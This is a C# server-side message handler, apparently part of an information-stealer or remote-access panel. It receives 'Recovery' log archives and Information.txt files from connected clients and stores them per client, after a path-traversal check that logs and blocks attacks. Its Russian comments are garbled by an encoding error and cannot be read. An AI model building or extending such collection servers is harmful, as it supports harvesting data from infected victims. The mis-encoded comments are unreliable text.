72 lines
2.8 KiB
C#
72 lines
2.8 KiB
C#
using System;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using Server.Connectings;
|
|
using Server.Helper;
|
|
|
|
namespace Server.Messages;
|
|
|
|
internal class HandlerRecovery
|
|
{
|
|
public static void Read(Clients clients, object[] array)
|
|
{
|
|
// 1. Ïîëó÷àåì íåïðîâåðåííûé èäåíòèôèêàòîð (÷àñòü ïóòè) îò êëèåíòà.
|
|
string untrustedId = array[1]?.ToString();
|
|
|
|
// Åñëè èäåíòèôèêàòîð ïóñòîé, íè÷åãî íå äåëàåì.
|
|
if (string.IsNullOrEmpty(untrustedId))
|
|
{
|
|
clients.Disconnect();
|
|
return;
|
|
}
|
|
|
|
// 2. Îïðåäåëÿåì áåçîïàñíûå áàçîâûå äèðåêòîðèè.
|
|
string usersBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Users");
|
|
string newLogsBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NewLogs");
|
|
|
|
// 3. Èñïîëüçóåì íàø íîâûé áåçîïàñíûé ìåòîä äëÿ ïîëó÷åíèÿ ïîëíûõ ïóòåé.
|
|
string clientUserPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, usersBaseDir);
|
|
string clientNewLogsPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, newLogsBaseDir);
|
|
|
|
// 4. ÃËÀÂÍÀß ÏÐÎÂÅÐÊÀ: Åñëè êàêîé-ëèáî èç ïóòåé null, ýòî áûëà ïîïûòêà àòàêè (Path Traversal).
|
|
if (clientUserPath == null || clientNewLogsPath == null)
|
|
{
|
|
// Ëîãèðóåì ïîïûòêó àòàêè è îòêëþ÷àåì êëèåíòà.
|
|
Methods.AppendLogs(clients.IP, "Path Traversal-àòàêà áûëà çàáëîêèðîâàíà.", Color.Red);
|
|
clients.Disconnect();
|
|
return;
|
|
}
|
|
|
|
try
|
|
{
|
|
// 5. Ñîçäàåì áåçîïàñíûå ïóòè äëÿ ôàéëîâ è ïàïîê, èñïîëüçóÿ Path.Combine.
|
|
string recoveryPath = Path.Combine(clientUserPath, "Recovery");
|
|
string sourceInfoFile = Path.Combine(clientUserPath, "Information.txt");
|
|
string destInfoFile = Path.Combine(clientNewLogsPath, "Information.txt");
|
|
|
|
// Óáåæäàåìñÿ, ÷òî äèðåêòîðèè ñóùåñòâóþò.
|
|
Directory.CreateDirectory(recoveryPath);
|
|
Directory.CreateDirectory(clientNewLogsPath);
|
|
|
|
// 6. Èñïîëüçóåì òîëüêî áåçîïàñíûå, ïîëíûå ïóòè.
|
|
Methods.AppendLogs(clients.IP, "Save logs in: " + recoveryPath, Color.MediumPurple);
|
|
PaleFileProtocol.Unpack(recoveryPath, array[2] as byte[]);
|
|
PaleFileProtocol.Unpack(clientNewLogsPath, array[2] as byte[]);
|
|
|
|
// Ïðîâåðÿåì, ÷òî èñõîäíûé ôàéë ñóùåñòâóåò ïåðåä êîïèðîâàíèåì
|
|
if (File.Exists(sourceInfoFile))
|
|
{
|
|
File.Copy(sourceInfoFile, destInfoFile, true); // true - ïåðåçàïèñàòü, åñëè ñóùåñòâóåò
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
// Ëîãèðóåì ëþáóþ îøèáêó ôàéëîâîé ñèñòåìû
|
|
Methods.AppendLogs(clients.IP, "Îøèáêà ïðè îáðàáîòêå ôàéëîâ: " + ex.Message, Color.Red);
|
|
}
|
|
finally
|
|
{
|
|
clients.Disconnect();
|
|
}
|
|
}
|
|
} |